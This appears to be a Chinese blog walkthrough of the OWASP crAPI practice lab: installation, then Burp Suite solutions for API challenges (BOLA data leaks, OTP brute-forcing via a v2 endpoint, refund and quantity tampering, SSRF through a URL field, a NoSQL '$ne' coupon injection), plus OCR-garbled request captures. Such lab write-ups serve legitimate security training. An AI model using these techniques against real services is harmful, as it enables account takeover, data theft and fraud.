一、概述
背景
Completely Ridiculous API （crAPI）是 OWASP 社区支持的开源 API 安全测试靶场，旨在模拟真实业务场景中的 API 漏洞，帮助安全从业者实践 [OWASP API Top 10](https://owasp.org/www-project-api-security/) 等核心风险的挖掘与利用。项目通过故意引入设计缺陷，还原 API 全生命周期的安全问题，是 API 安全学习、渗透测试训练的核心工具。
技术栈
crAPI 采用 微服务架构 模拟复杂业务系统，技术栈覆盖多语言、多数据库，最大化漏洞场景的多样性：
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分层设计
前端层：crAPI Web Services（JS）
角色：用户交互入口（网页界面），负责接收用户操作（登录、下单、发帖），转发请求至后端微服务。
技术意义：模拟真实 Web 应用的前端层，暴露请求篡改、前端逻辑绕过等漏洞场景。
中间服务层（微服务集群，多语言实现）：
Identity Service (Java)：
职责：用户身份认证（JWT/OTP 生成与验证）、车辆信息管理。

技术关联：Java 生态常见漏洞（如 JWT 算法混淆、弱认证逻辑）。

Community Service (Go)：
职责：社区功能（博客发布、评论互动）。

技术关联：Go 服务的输入验证缺陷（如 BOLA 越权访问他人博客）。

Workshop Service (Python)：
职责：维修厂管理、配件订单处理。

技术关联：Python 服务的业务逻辑漏洞（如批量赋值篡改订单金额）。

Mailhog：
角色：邮件测试工具，模拟身份服务的邮件发送（如注册验证邮件）。

技术意义：暴露邮件伪造、OTP 劫持（若逻辑缺陷）的测试场景。

数据层：PostgreSQL or MongoDB
设计意图：支持 SQL（PostgreSQL）和 NoSQL（MongoDB）双数据库，覆盖 SQL 注入 与 NoSQL 注入 测试场景。
整体数据流视角
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crAPI 通过 “多语言微服务 + 双数据库 + 分层交互” 的架构，完美支撑 [OWASP API Top 10](https://owasp.org/www-project-api-security/) 漏洞的测试场景
业务场景
crAPI 模拟 B2C 汽车维修服务平台，核心业务流程包括：
用户生命周期：注册（Mailhog 收验证邮件）→ 登录（JWT 认证）→ 管理车辆信息。

服务请求：提交汽车维修申请（选择技师、描述问题）。

电商功能：购买汽车配件（下单、支付）。

社区互动：发布博客、评论互动。

工作原理：前端通过 HTTP API 调用后端微服务，服务间通过内部接口交互，最终操作 SQL/NoSQL 数据库。系统 故意省略安全校验逻辑（如权限验证、输入过滤、认证强化），使测试者能复现真实漏洞。
挑战
根据项目中文档的challenge描述，crAPI 聚焦 API 全链路安全测试，覆盖 OWASP API Top 10 核心风险，具体挑战如下：
	编号
	类别
	描述

	1
	BOLA Vulnerabilities
	泄露其他用户的车辆敏感信息。需要找到其他用户的车辆 ID（非连续 GUID），并找到接收车辆 ID 并返回其信息的 API 端点。

	2
	BOLA Vulnerabilities
	访问其他用户提交的机械师报告。需分析报告提交过程，找到暴露机械师报告详情的隐藏 API 端点，并通过修改报告 ID 访问其他报告。

	3
	Broken User Authentication
	重置其他用户的密码。需找到其他用户的邮箱，可能需要暴力破解，并利用 REST API 的可预测性寻找相关端点。

	4
	Excessive Data Exposure
	找到泄露其他用户敏感信息的 API 端点。

	5
	Excessive Data Exposure
	找到泄露视频内部属性的 API 端点，该属性及其值有助于利用其他漏洞。

	6
	Rate Limiting
	利用 “联系机械师” 功能执行七层 DoS 攻击。

	7
	BFLA
	删除其他用户的视频。需利用 REST API 的可预测性找到管理员删除视频的端点。

	8
	Mass Assignment
	免费获取商品。找到影子 API 端点以编辑特定订单的属性，从而为未实际退货的商品获取退款。

	9
	Mass Assignment
	将余额增加 1000 美元或更多。在解决 “免费获取商品” 挑战的基础上，通过更大金额的退款实现。

	10
	Mass Assignment
	更新视频的内部属性。找到可修改视频内部属性的端点，修改其值以利用其他漏洞。

	11
	SSRF
	让 crAPI 向 “www.google.com” 发送 HTTP 请求并返回该 HTTP 响应。

	12
	NoSQL Injection
	无需知道优惠码即可获取免费优惠券。

	13
	SQL Injection
	通过修改数据库，重新使用已领取的优惠券。

	14
	Unauthenticated Access
	找到不对用户进行身份验证检查的端点。

	15
	JWT Vulnerabilities
	找到伪造有效 JWT 令牌的方法，以获取平台的完全访问权限。

	16
	LLM Vulnerabilities
	利用聊天机器人进行成功的提示注入，实现客户端渲染注入。

	17
	LLM Vulnerabilities
	利用聊天机器人提取其他用户的凭据并查看其订单。

	18
	LLM Vulnerabilities
	让聊天机器人代表其他用户执行操作（如下单）。

	-
	秘密挑战
	有 3 个复杂的秘密挑战，未提供详细信息。


二、安装
GitHub 项目地址：https://github.com/OWASP/crAPI
docker安装命令：
curl -o /tmp/crapi.zip https://github.com/OWASP/crAPI/archive/refs/heads/main.zip



unzip /tmp/crapi.zip



cd crAPI-main/deploy/docker



docker compose pull



docker compose -f docker-compose.yml --compatibility up -d

pull之后，拉下的image
[image: ]
启动，安装成功之后访问http://localhost:8888
[image: ]
启动之后，你会发现他只允许127回环地址访问
[image: ]
[image: ]
此时，先将容器停止
sudo docker compose -f docker-compose.yml --compatibility stop

[image: ]
再执行
sudo LISTEN_IP="0.0.0.0" docker compose -f docker-compose.yml --compatibility up -d

[image: ]
再次访问
所有电子邮件默认发送到 mailhog 服务,可以检查 http://localhost:8025 如果需要,您可以更改 smtp 配置,但所有带有 domain example.com 的电子邮件仍会转到 mailhog。
[image: ]
停止命令
sudo docker compose -f docker-compose.yml --compatibility stop

三、挑战
工具：burp suite 社区版本
靶场共两个网站，8888端口为汽修维修服务平台，8025为邮箱服务平台。
[image: ]
[image: ]
账户注册
[image: ]
mathias

security101@qq.com

19111111111

Aa@123457

[image: ]
使用账户登录汽修维修平台，登录平台后会要求你输入车辆的VIN和PIN码，该信息在邮箱服务平台。
[image: ]
[image: ]
验证成功之后，会获取你的车辆信息。
[image: ]
泄露其他用户的车辆信息API端点
1、在社区板块，有其他用户的留言信息，访问留言板时，通过butp进行抓包，丢掉第一个包，在第二个包中看到有api路径，故将该数据包放在burp中的repeater模块。
[image: ]
[image: ]
2、在返回包中除了看到留言板中的留言者姓名和时间外还有车辆信息id，邮箱等敏感信息。
"id":"HoRBqzPgsMZSge9qq5SaWE","nickname":"maolin","email":"1666197054@gmail.com","vehicleid":"8ecb5f23-e729-469f-9980-9526dedbc9b3"



"id":"bGqqQzEN8YGNFiGSDNuq4a","nickname":"Robot","email":"robot001@example.com","vehicleid":"4bae9968-ec7f-4de3-a3a0-ba1b2ab5e5e5"



"id":"TWqjwxnLizUYNjujbBSKxZ","nickname":"Pogba","email":"pogba006@example.com","vehicleid":"cd515c12-0fc1-48ae-8b61-9230b70a845b"



"id":"5zH3bUtG7ehope6cgDfhvK","nickname":"Adam","email":"adam007@example.com","vehicleid":"f89b5f21-7829-45cb-a650-299a61090378"

3、点击留言板中任意一个留言，然后抓包，发现除了当前留言者的姓名和时间，返回包中还有其他敏感信息并且观察GET 的URL路径。
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4、是否可以通过修改id值，直接看到id值对应的用户敏感信息呢？
[image: ]
访问其他用户提交给技工的报告。
1、点击【Contact Mechanic】，联系技工。
[image: ]
2、选择技工，并且描述问题。
[image: ]
3、点击发送时，抓包并且发送到repeater模块中。
[image: ]
4、分析请求包和响应包中的字段含义。
请求包：
mechanic_code: "TRAC_JME" - 所选择的维修人员

problem_details: "car error" - 描述的问题

vin: "6JDYB47AZQO659262" - 车辆vin码

mechanic_api: "http://192.168.0.102:8888/workshop/api/mechanic/receive_report" - 可能是接收该报告的 API 接口地址

repeat_request_if_failed: false - 请求失败时是否重复发送

number_of_repeats: 1 - 重复发送的次数

返回包
esponse_from_mechanic_api - 维修接口的具体响应数据

id: 13 - 可能是报告唯一id号

sent: true - 报告发送成功

"report_link":"http://192.168.0.102:8888/workshop/api/mechanic/mechanic_report?report_id=13" - 报告链接

"status":200 - 状态码

根据分析，可直接访问请求包和响应包中的两个api链接。
5、当直接使用浏览器访问时，要么显示没有相应参数，要么没有 jwt值。
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6、在burp中访问，并且携带当前用户的jwt值，修改请求方法POST为GET
鼠标右键，选择【Change request method】
[image: ]
[image: ]
id为13直接显示出报告，12呢？10呢？是否可以爆破id号？
[image: ]
重置其他用户的密码
1、寻找功能点，在登录处，有忘记密码。
[image: ]
[image: ]
2、先以自己的邮箱为例，当输入邮箱之后，会有一个OTP校验码发送到你的邮箱。
[image: ]
之后就会进入修改密码处。
[image: ]
[image: ]
3、使用之前所获取的邮箱pogba006@example.com，当输入邮箱之后，也会有一个otp的验证码发送到了邮箱。
[image: ]
之后进入了修改密码界面。
[image: ]
随便填写之后进行抓包。
[image: ]
4、4位数的验证码是可以爆破的，现在只要看是否可以重复发包。
当连续发送5次后，显示500 error。
[image: ]
5、观察URL，是否出现了v3，v3可能是v3版本，那么v2版本呢？
经测试，v2版本是可以一直重发包，来验证OTP校验码是否正确。
[image: ]
6、理论是可以通过爆破验证码来修改pogba006@example.com邮箱密码，由于使用的是社区版本，爆破速度太慢，就不展示了。
找到泄露其他用户敏感信息的 API 端点
1、根据之前的所测试的，在社区板块中，返回包直接返回所有留言者的敏感信息。
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2、api端点为/community/api/v2/community/posts/recent
[image: ]
找到泄露视频内部属性的 API 端点
1、在个人信息处可以上传视频，创建一个101.txt的文本文件，然后修改后缀名为mp4，上传时，抓取数据包放到repeater模块中观察响应包。
[image: ]
在响应包中可以看到，有id号，视频名称、视频编码格式以及类型。
2、上传成功的视频可以进行一下操作。
[image: ]
3、修改视频名称时，抓包，观察响应包。
[image: ]
4、将请求方式修改为GET型，参数52改为50。
[image: ]
泄露视频内部属性的 API 端点为/identity/api/v2/user/videos/50
contact mechanic功能
1、在之前分析过【contact mechanic】功能提交后的请求包和响应包，关键点在：
repeat_request_if_failed: false - 请求失败时是否重复发送

number_of_repeats: 1 - 重复发送的次数

2、修改参数，即可进行第七层DOS。
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删除其他用户的视频
1、观察修改视频名称的请求包，PUT请求方法为更新，那么删除就是【DELETE】。
[image: ]
2、是否可以使用【DELETE】请求方法呢，可以使用 【OPTIONS】 请求方法，通过响应的 Allow 头部可查看支持的请求方法。
[image: ]
3、将【OPTIONS】 请求方法修改为【DELETE】请求方法。
[image: ]
显示权限不足。
4、观察URL，是否可以将【user】修改为【admin】呢？
[image: ]
5、修改ID号
[image: ]
白嫖商品
1、当前有80美金。
[image: ]
2、点击Buy的时候抓取数据包分析。
[image: ]
请求包中：
product_id - 可能为商品编号

quantity - 可能为购买的数量

响应包中：
id - 可能为订单编号

message - 提示信息

credit - 当前账户余额

3、点击【Past Orders】，查看订单信息，随便点击一个订单查看详细信息，然后抓包。
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响应包中有一个字段为【"status":"delivered"】，表示当前订单已经完成，如果【status】可以修改，是否可以先退款，再完成订单呢？
4、将【GET】请求方法改为【PUT】，ststus属性不知道有哪些，可以先尝试，随便写。
[image: ]
根据响应包可知，ststus状态有这些：'delivered','return pending' or 'returned'。
5、修改状态码为【returned】。
[image: ]
6、再修改为【delivered】。
[image: ]
7、返回购物界面，查看余额。
[image: ]
再查看订单信息。
[image: ]
将余额增加 1000 美元或更多
1、根据前面的经验，quantity 参数为购买数量，1个商品为10美金，那么退我100份商品不就是1000美金吗？
只需要增加一个参数：
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2、返回网站查看余额：
[image: ]
更新视频的内部属性
1、根据之前分析，抓取修改名称时的数据包。
[image: ]
2、可以直接修改名称，那么其他属性是不是也可以直接修改呢？
[image: ]
SSRF
1、根据之前的分析，再给技工提交问题时，发现数据包中数据值是有URL链接的。
[image: ]
2、【mechanic_api】属性值是否可以做修改？
利用dnslog进行检验，http://www.dnslog.cn/
[image: ]
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成功。
无需知道优惠码即可获取免费优惠券。
1、优惠券 可能会和数据库打交道。
2、在兑换优惠卷时，抓包。
[image: ]
[image: ]
3、尝试对【coupon_code】属性值进行注入。
4、此处是一个nosql注入，可以直接使用：
{"coupon_code":{

"$ne":"xxxxxxxxxxxx"

}}

[image: ]
5、兑换码为【TRAC075】。
[image: ]
找到不对用户进行身份验证检查的端点
1、访问自己的购物详情订单时，抓取数据包。
[image: ]
2、将id：14修改为其他值呢？
[image: ]
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支付漏洞
1、当前的余额：
[image: ]
2、购买商品时抓取数据包。
[image: ]
3、根据之前的分析【quantity】参数为数量，如果数量为负数呢？
[image: ]
增加商品
1、在访问shop时，抓取第二个数据包，放在repeater模块中
[image: ]
2、同样可以先尝试使用 【OPTIONS】 请求方法，通过响应的 Allow 头部可查看支持的请求方法。
[image: ]
3、增加商品，构造参数。
{"id":3,"name":"security","price":"101.00","image_url":"https://i1.hdslb.com/bfs/face/40d1e8383ee5aae2cb45387ade5705ab95ad6bef.jpg@128w_128h_1c_1s.webp"}

[image: ]
4、返回网站的shop栏。
[image: ]
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u@ubuntu:~/bc/crAPI-main/deploy/docker$ sudo docker image list
CREATED
2 months ago
6 months ago

REPOSITORY TAG
postgres 14

hello-world latest
crapi/mailhog latest

crapi/crapi-community latest
crapi/crapi-workshop  latest
crapi/crapi-identity  latest
crapi/gateway-service latest
crapi/crapi-web latest
mongo 4.4

IMAGE ID

5f57369e14c2
74cc54e27dc4
6dd3fcba3ebc
237ac7b9ebcd
a532e5463ab8
794cd06c899c
fe971dfae942
d66d1f1e3250
d896c071ac69

u@ubuntu:~/bc/crAPI-main/deploy/dockers []

14
14
14
14
14
14
17

months
months
months
months
months
months
months

ago
ago
ago
ago
ago
ago
ago

SIZE
426MB
10.1kB
20.7MB
31.4MB
182MB
497MB
84.3MB
124MB
427vB
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u@ubuntu:~/bc/crAPl-main/deploy/docker$ sudo docker compose -T docker-compose.yml --compatibility up -d

[+] Running 11/11

~ Network docker_default

~ Volume "docker_mongodb-data”

~ Volume "docker_postgresql-data"

- Container mongodb

- Container mailhog

- Container api.mypremiumdealership.com
- Container postgresdb

- Container crapi-identity

~ Container crapi-community

- Container crapi-workshop)

- Container crapi-web
u@ubuntu:~/bc/crAPI-main/deploy/docker$ []

Created
Created
Created
Healthy
Healthy
Started
Healthy
Healthy
Healthy
Healthy
Started

.0s

0s

.0s
.0s
.7s
.7s
.0s
.6s
.6s
.6s
.8s
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uQubuntu:
CONTAINER ID
c3f97545018¢
51b48a71fb60
90d74b06ba7 f
680488429829
f7c32b63696a
7e7740755e55
rship.com

fe261e484dsa
5£3269068cd8

/bc/crAPT-m

crapi/mailhog: latest

IMAGE

crapi/crapi-web:latest
crapi/crapi-workshop: latest
crapi/crapi-community: latest
crapi/crapi-identity:latest
postgres: 14
crapi/gateway-service:latest

mongo:4.4

ain/deploy/docker$ sudo docker ps

COMMAND

“/bin/sh -c /etc/ngi.
bin/sh -c /app/run
bin/sh -c /app/main
entrypoint.sh”
ocker-entrypoint. s.”
"/app/server"

“docker-entrypoint.s..”
“MailHog"

CREATED

2
2
2
2
2
2

[NIN]

minutes
minutes
minutes
minutes
minutes
minutes

minutes
minutes

ago
ago
ago
ago
ago
ago

ago
ago

STATUS

Up 43 seconds (healthy)

Up 58 seconds (healthy)

Up About a minute (healthy)

Up About a minute (healthy)

Up 2 minutes (healthy)

Up 2 minutes (health: starting)

Up 2 minutes (healthy)
Up 2 minutes (healthy)

PORTS
127.0.0.1:8888->80/tcp, 127.0.0.1:8443->443/tcp

6060/tcp
10001/tcp
5432/tcp
443/tcp

27017/tcp
1025/tcp, 127.6.0.1:8025->8025/tcp

NAMES

crapi-web
crapi-workshop
crapi-community
crapi-identity
postgresdb
api.mypremiundeale

mongodb
mailhog
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u@ubuntu:~/bc/crAPI-main/deploy/docker$ sudo docker compose -f docker-compose.yml --compatibility stop
[+] Stopping 8/8

- Container api.mypremiumdealership.com
Container crapi-web

Container crapi-workshop

Container crapi-community

Container crapi-identity

Container mongodb

Container mailhog

- Container postgresdb
u@ubuntu:~/bc/crAPI-main/deploy/docker$ D

v
v
v
v
v
v
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u@ubuntu:~/bc/crAPI-main/deploy/docker$ sudo LISTEN_IP="0.0.0.0" docker compose -f docker-compose.yml --compatibility up -d
[+] Running 8/8

- Container
Container
Container
Container
Container
Container
Container
- Container

v
v
v
v
v
v

CONTAINER ID
058d57bf2580
7cd414ea830a
51b48a71fb60
90d74beeba7f
6894884a9829
f7c32b63696a
7e7740755e55
ip.com

fe261e484d84

mailhog
crapi-web sta
mongodb
api.mypremiundealership.com -
postgresdb

crapi-identity
crapi-community
crapi-workshop

IMAGE
crapi/crapi-web:latest
crapi/mailhog: latest
crapi/crapi-workshop: latest
crapi/crapi-communit
crapi/crapi-identity:latest
postgres: 14
crapi/gateway-service:latest

mongo:4.4

u@ubuntu:~/bc/crAPI-main/deploy/docker$ []

Healthy

i

Healthy

i

Healthy

Healthy
u@ubuntu:~/bc/crAPI-main/deploy/docker$ sudo docker ps

COMMAND

“/bin/sh -c /etc/ngi."
“MailHog"

“/bin/sh -c /app/ru
“/bin/sh -c /app/main
“/entrypoint.sh®
“docker-entrypoint
"/app/server"

“docker-entrypoint

CREATED
2 minutes ago
2 minutes ago

10
10
10
10
10

10

minutes
minutes
minutes
minutes
minutes

minutes

ago
ago
ago
ago
ago

ago

STATUS

up
up
up
up
up
up
up

up

56 seconds (healthy)

2 minutes (healthy)

About a minute (healthy)
About a minute (healthy)
About a minute (healthy)

2 minutes (healthy)

2 minutes (health: starting)

2 minutes (healthy)

PORTS

0.0.0.0:8888->80/tcp, 0.0.0.0:8443->443/tcp

1025/tcp, 0.0.0.0:8025->8025/tcp

6060/tcp
10001/tcp
5432/tcp
443/tcp

27017/tcp

16.0s
78.7s
47.8s

0.5s
47.8s
47.5s
16.3s
15.7s

NAMES

crapi-web

mailhog
crapi-workshop
crapi-community
crapi-identity
postgresdb
api.mypremiundealersh

mongodb
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No Vehicles Found
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Thank You & have a wonderful day !
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Request Response
Pretty  Raw  Hex

= | Pretty Raw Hex Render

1 GET /community/api/v2/community/posts/recent?limit=30&offset=0 HITP/1. 1 “content”: "Hello world 2,

> Host: 192. 168.0. 102:8888 “author”: {

3 Authorization: Bearer "nickname”:"Pogba”,
eyJhbGei0iJSUZI1NiJ9. eyJzdWIi0iJzZWN1cmlOeTEWMUBXCS5 jb201LCTpYXQi0JESNTURMIE XN "email”:"pogba006@example. con”,
¥sTmV4cCIBMTCINTYXNTE2Niwien9sZSI61nVzZXT1£0. of ~TIM8B00yStt tumzrvIDt8bNTx4onFrF “vehicleid”:"cd515c12-0fc1-48ae-8b61-9230b70a845b",
D8VELXRPqX j2qkCcWs8H4sGqqmtPIThf8avDBBELUOUO_ENSoAV11-1MJ1LKYOMn_fokvKT110UGOTX “profile_pic_url”:"",
BycGGYF4HEG1z-UJvDtH]32 [x8HCr xyD4r L4vWSE 0Uut5rks424Uq Y vakMTr26C_aDW8I_vHIUUV_pS “created_at”:"2025-08-12104:23: 08. 5352"
TzeDo4NGBL7SFOR-gxXqet drVAe59wdf y¥1VVz160H6SFMNL TsLaprv1WwxpKOYZXPwz7 0LOC4AXvE N
UCOnZWRn7LNFmcPco jn_v6HO_JPCTAVPSoxwV_P22kS492SFbfKKBSC2YZHoSFDVTASAZEA “comments”: [

4 Accept-Language: zh-CN, zh;q=0.9 1,

5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 “authorid”:2,

(KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 “CreatedAt”:”2025-08-12104:23: 08. 5352"

5 Content-Type: application/json .

" Accept: ¥/ {

3 Referer: http://192.168. 0. 102:8888/forum “id”: " 5zH3bUtGTehopebegDfhvK”,

) Accept-Encoding: gzip, deflate, br “title”:"Title 17,

0 “content”: "Hello world 17,

1 “author”: {

“nickname”:”Adan”,

“email”:”adan007@exanple. con”,
“vehicleid”: " £89b5£21-7829-45ch-a650-299a61090378",
“profile pic_url”:"",
“created_at”:"2025-08-12104:23: 08. 5212

" comments”: [
1,
“authorid”:1,
“CreatedAt”:"2025-08-12104:23: 08. 5212"
}

1,

“next_offset”:null,

“previous_offset”:null,

“total”:4
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Request

Pretty  Raw  Hex =
1 GET /community/api/v2/community/posts bGqqQzENSYGNF iGSDNug4a [HTTP/1. 1

2 Host: 192.168. 0. 102:8888

3 Authorization: Bearer

eyJhbGei0iJSUZIIN J9. eyJzdW110i J2ZWN1cml0e TEWMUBxCS5 jb201LCTpYXQ10 JESNTURMIESN YST
mV4cCIEMTCINTYxNTk2Niwi cn9sZSI6InVZZXTi£Q. of ~TIN8600ySt t tumzr vIDt8bNTx4onFrFDSVELX
RPqX j2qkCcWs8H4sGaqutPOYhf 8avDBBELUOU0_ENs0AV11-1M]1LkYOMn_fokvKT110UGOTKBYCGGYF4H
E6iz-UJvDtH]3z1x8HCrxyD4r L4vWS£OUut 5rKs424Ua Y vakMTr26C_aDWSI_vHIUUv_pSTzeDoAMGBLTS
fOR-gxXqet7drVAe50wdfy¥iVVz160H6SFMNL T sLaprv1WwspKOYZXPwzT 0LOCAAXY tUCONZWRnT LNFmcP
cojn_vBHO_JPCTAVPSoxwV_P2ZkS492SFbfKKBSC2YZHOSRDVTASAZEA
Accept-Language: zh-CN, zh;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/138.0.0.0 Safari/537. 36
Content~-Type: application/json
Accept: */*
Referer: http://192. 168. 0. 102:8888/post?post_id=bGaqQzENSYGNF 1GSDNuqda
Accept-Encoding: gzip, deflate, br

k

O

10

D= O © o -

Response
Pretty

HITP/1.1 200 OK

Server: openresty/l.25.3.1

Date: Tue, 12 Aug 2025 15:23:11 GMT
Content-Type: application/json
Comnection: keep-alive
Access-Control-Allow-Headers:
Accept-Encoding, X-CSRF-Token,
Access-Control-Allow-Methods:
§ Access-Control-allow-Origin: *
9 Content-Length: 315

10
11 {

Raw  Hex  Render

O o W

Accept, Content-Type,
Authorization
POST, GET, OPTIONS,

Content-Length,

-

PUT, DELETE

€3,
“Hello world 3",

content’
“author”: {
“nickname”:"Robot”,
“email”:"robot001@example. con”,
“vehicleid”: " 4bae9968-ecTf-4de3-a3a0-balbZab5e5e5”,
“profile pic_url”:"",
“created_at”:"2025-08-12104: 23: 08. 5362

comments”: [
1,
“authorid”:3,

“Createdat”:”2025-08-12104:23: 08. 5362"
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Request

Pretty

O

6

© o -

Raw  Hex

®
HITP/1. 1

GET /community/api/v2/commnity/posts|
Host: 192.168. 0. 102:8888
Authorization: Bearer
eyJhbGei0iJSUZIIN J9. eyJzdW110i J2ZWN1cml0e TEWMUBxCS5 jb201LCTpYXQ10 JESNTURMIESN YST
mV4cCIEMTCINTYxNTk2Niwi cn9sZSI6InVZZXTi£Q. of ~TIN8600ySt t tumzr vIDt8bNTx4onFrFDSVELX
RPqX j2qkCcWs8H4sGaqutPOYhf 8avDBBELUOU0_ENs0AV11-1M]1LkYOMn_fokvKT110UGOTKBYCGGYF4H
E6iz-UJvDtH]3z1x8HCrxyD4r L4vWS£OUut 5rKs424Ua Y vakMTr26C_aDWSI_vHIUUv_pSTzeDoAMGBLTS
fOR-gxXqet7drVAe50wdfy¥iVVz160H6SFMNL T sLaprv1WwspKOYZXPwzT 0LOCAAXY tUCONZWRnT LNFmcP
cojn_vBHO_JPCTAVPSoxwV_P2ZkS492SFbfKKBSC2YZHOSRDVTASAZEA
Accept-Language: zh-CN, zh;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/138.0.0.0 Safari/537. 36
Content~-Type: application/json
Accept: */*
Referer: http://192. 168. 0. 102:8888/post?post_id=bGaqQzENSYGNF 1GSDNuqda
Accept-Encoding: gzip, deflate, br

k

Thq jwxnLizZUYN jujbBSKxZ]

Response

Pretty Raw  Hex  Render

HITP/1.1 200 OK

Server: openresty/l.25.3.1

Date: Tue, 12 Aug 2025 15:26:15 GMT
Content-Type: application/json
Comnection: keep-alive
Access-Control-Allow-Headers
Accept-Encoding, X-CSRF-Token,
Access-Control-Allow-Methods

§ Access-Control-allow-Origin: *
9 Content-Length: 315

10
11 {

O o W

Accept, Content-Type,
Authorization
POST, GET, OPTIONS, PUT, DELETE

Content-Length,

-

"id”: " TWq jwsnLizUYN ju jbBSKxZ”.
Title : Title
“content”: "Hello world 2"
“author”: {
“nickname”:"Pogba”
“email”:“pogba006@example. con”
“vehicleid”:"cd515c12-0fc1-48ae-8b61-9230070a845b”,
"profile_pic_url”:""
“created_at”:"2025-08-12704: 23: 08. 5352"

comments”: [
1,
“authorid”:2,

“Createdat”:”2025-08-12104:23: 08. 5352"
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* Problem Description:
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Request Response
Pretty  Raw  Hex = | Pretty Raw Hex Render

1 POST /workshop/api/merchant/contact_mechanic HITP/1.1 1 HITP/1.1 200 OK
2 Host: 192.168. 0. 102:8888 2 Server: openresty/l.25.3.1
3 Content-Length: 219 3 Date: Tue, 12 Aug 2025 15:30:50 GMT
4 Authorization: Bearer 4 Content-Type: application/json
eyJhbGei0iJSUZIIN J9. eyJzdW110i J2ZWN1cml0e TERMUBxCSS jb201LCTpYXQ10 JESNTURMIE SN jYsInV4cCIBUTCINTY:NT | 5 Connection: keep-alive
K2Niwicm9sZSI6InVzZXIifQ. of~TIMS600yStt tumzr vYDt8bNTx4onFrFDSVEIXRPqX j2akCcWs8HASGqqmtPOThf8avDBBgL | 6 Allow: POST, OPTIONS
U0u0_ENsoAV11-1MJ1LkYOMn_fokvKT110UGOTKBYCGGYF4HEG 1z-UJvDtH]3z1x8HCrxyD4rL4vWSEOUut5rks424UqYvakMTr | 7 Vary: origin, Cookie
26C_aDW8I_vHIUUv_pSTzeDodMGBLTSFOR-gxXaet 7 drVAe5owdfyY1VVzI60H6SFUN1 TsLapr v 1WwxpKOYZXPwzTOLOC4AXVtU | 8 access—control-allow-origin:
COnzWRNTLNFmcPeo n_v6HO_JPCTAvP8oxwV_P2ZkSA92SFbEKKBSC2YZHoSFDVTAS42EA 9 X-Frame-Options: DENY
5 Accept-Language: zh-CN, zh;q=0.9 10 X-Content-Type-Options: nosniff
6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 11 Referrer-Policy: same-origin
Chrome/138. 0. 0.0 Safari/537. 36 12 Cross-Origin-Opener-Policy: same-origin
7 Content-Type: application/json 13 Content-Length: 158
§ Accept: */* 14
9 Origin: http://192. 168.0. 102:8888 15 (
0 Referer: http://192. 168. 0. 102:8888/contact -mechanic?VIN=6]DYB4TAZQ0659262 “response_from_mechanic_api”: {
1 Accept-Encoding: gzip, deflate, br "1d":13,
2 “sent”:true,
3 “report_link”:
4 “http://192. 168. 0. 102:8888/workshop/api/mechanic/mechanic_report?report_id=13"
“mechanic_code”:"TRAC_JME”, I8
“problem_details”: car error”, “status”:200
“vin":"6JDYB4TAZQ0659262", )

"mechanic_api”: "http://192. 168. 0. 102: 8888/workshop/api/mechanic/receive_report”,
“repeat_request_if_failed”:false,
“number_of_repeats”:1
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<« G AZF=2 192168.0.102:8888/workshop/api/mechanic/mechanic_report?report id=13
g O

["message”:"JWT Token required!”}
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<« C  AF=2 1921680.102:8888/workshop/api/mechanic/receive_report
g O

[“mechanic_code”:["This field is required. "], “problem details”:["This field is required. "], “vin”:["This field is required. "1}
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POST /workshop/api/merchant/contact_mechanic HTTP/1.1

Host: 192.168.0. 102:8888
Content-Length: 219
Authorization: Bearer
eyJhbGei01JSUZIINL T9. ey JzdWIi(
k2Niwicn9sZSI6InVzZXIifQ. of =11
UOU0_ENS0AV1 1~ 1MJ1LkYOMn_fokvh
26C_aDW81_vHIUUv_pSTzeDo4MGBL]
COnzWRn7LNFmcPco jn_v6HO_JP
Accept-Language: zh=CN, zh;q=
User-Agent: Mozilla/5.0 (Windd
Chrome/138. 0. 0.0 Safari/537. 3¢
Content-Type: application/jsor
Accept: */*

Origin: http://192.168. 0. 102:§
Referer: http://192.168. 0. 102
deflate

Accept-Encoding: gzip,

“mechanic_code”: " TRAC_JME
“problem_details”:”car er
“vin":"6JDYB4TAZQ0659262
"mechanic_api”:“http://1¢
“repeat_request_if_failec
“rumber_of_repeats”: 1

Scan
Send to Intruder ctri+l
Send to Repeater cui+R
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Send to Decoder
Send to Organizer Cti+0
Insert Collaborator payload

Show response in browser

Record an issue [Pro version only] >

Request in browser >

Engagement tools [Pro version only] >

ctri+C
Copy URL

Copy as curl command (bash)

Copy tofile

Paste from file

%010 JE3NTURMIEN Vs ImV4cCIBMTCINTS
21XRPqX j2qkCcWs8H4sGqqmtPIThf8avDE
Ix8HCrxyD4rL4vWSFOUut5rKks424Uq Y val
BSFMN17sLaprv1WwxpKOYZXPwzT OLOC4AX
VTAS4ZEA

(it/537.36 (KHTML, like Gecko)

FAZQ0659262

thanic/receive_report”,
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Request

Pretty  Raw  Hex
GET /workshop/api/mechanic/mechanic_report?report_id=13| HTTP/1. 1

O

Host: 192.168. 0. 102:8888

Authorization: Bearer

eyJhbGei0iJSUZIINI J9. eyJzdW110iJzZWN1cml0eTERMUBxCSS5 16201 LCJpYXQ10 JESNTURMIE N j¥S TmVACCI6MTC INTYXNT
K2Niwicm9sZSI6InVzZXIifQ. of~TIMB600ySt t tumzr vYDt8bNTx4onFrFDSVEIKRPqX j2akCcWs8H4SGaqmtPOYh 8avDBBeL
UOu0_ENS0AV11-1M]1LEYOMn_fokvKT110UGOTXBY CGGYF4HEG1z-UTvDtH] 3z 1x8HCrxyD4rLAvWSEOUut 5rKs424Uq Y vakMIr
26C_aDW8I_vHIUUv_pSTzeDoAMGBLTSFOR-gxXqet 7drVAe59wdf yYiVVZI60H6SFMN1 7sLapr v1FwspKOYZXPwz7T OLOC4AX VU
COnzWRn7LNFmcPco jn_v6H0_JPCTAVPSoxwV_P22kS492SFbfKKBSC2YZHoSFDVTASZEA

Accept-Language: zh-CN, zh;q=0.9

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko.
Chrome/138. 0. 0.0 Safari/537. 36

Accept: */*

Origin: http://192. 168. 0. 102:8888

Referer: http://192. 168. 0. 102:8888/contact-mechanic?VIN=6JDYB4TAZQ0659262

Accept-Encoding: gzip, deflate, br

Response

Pretty Raw  Hex  Render

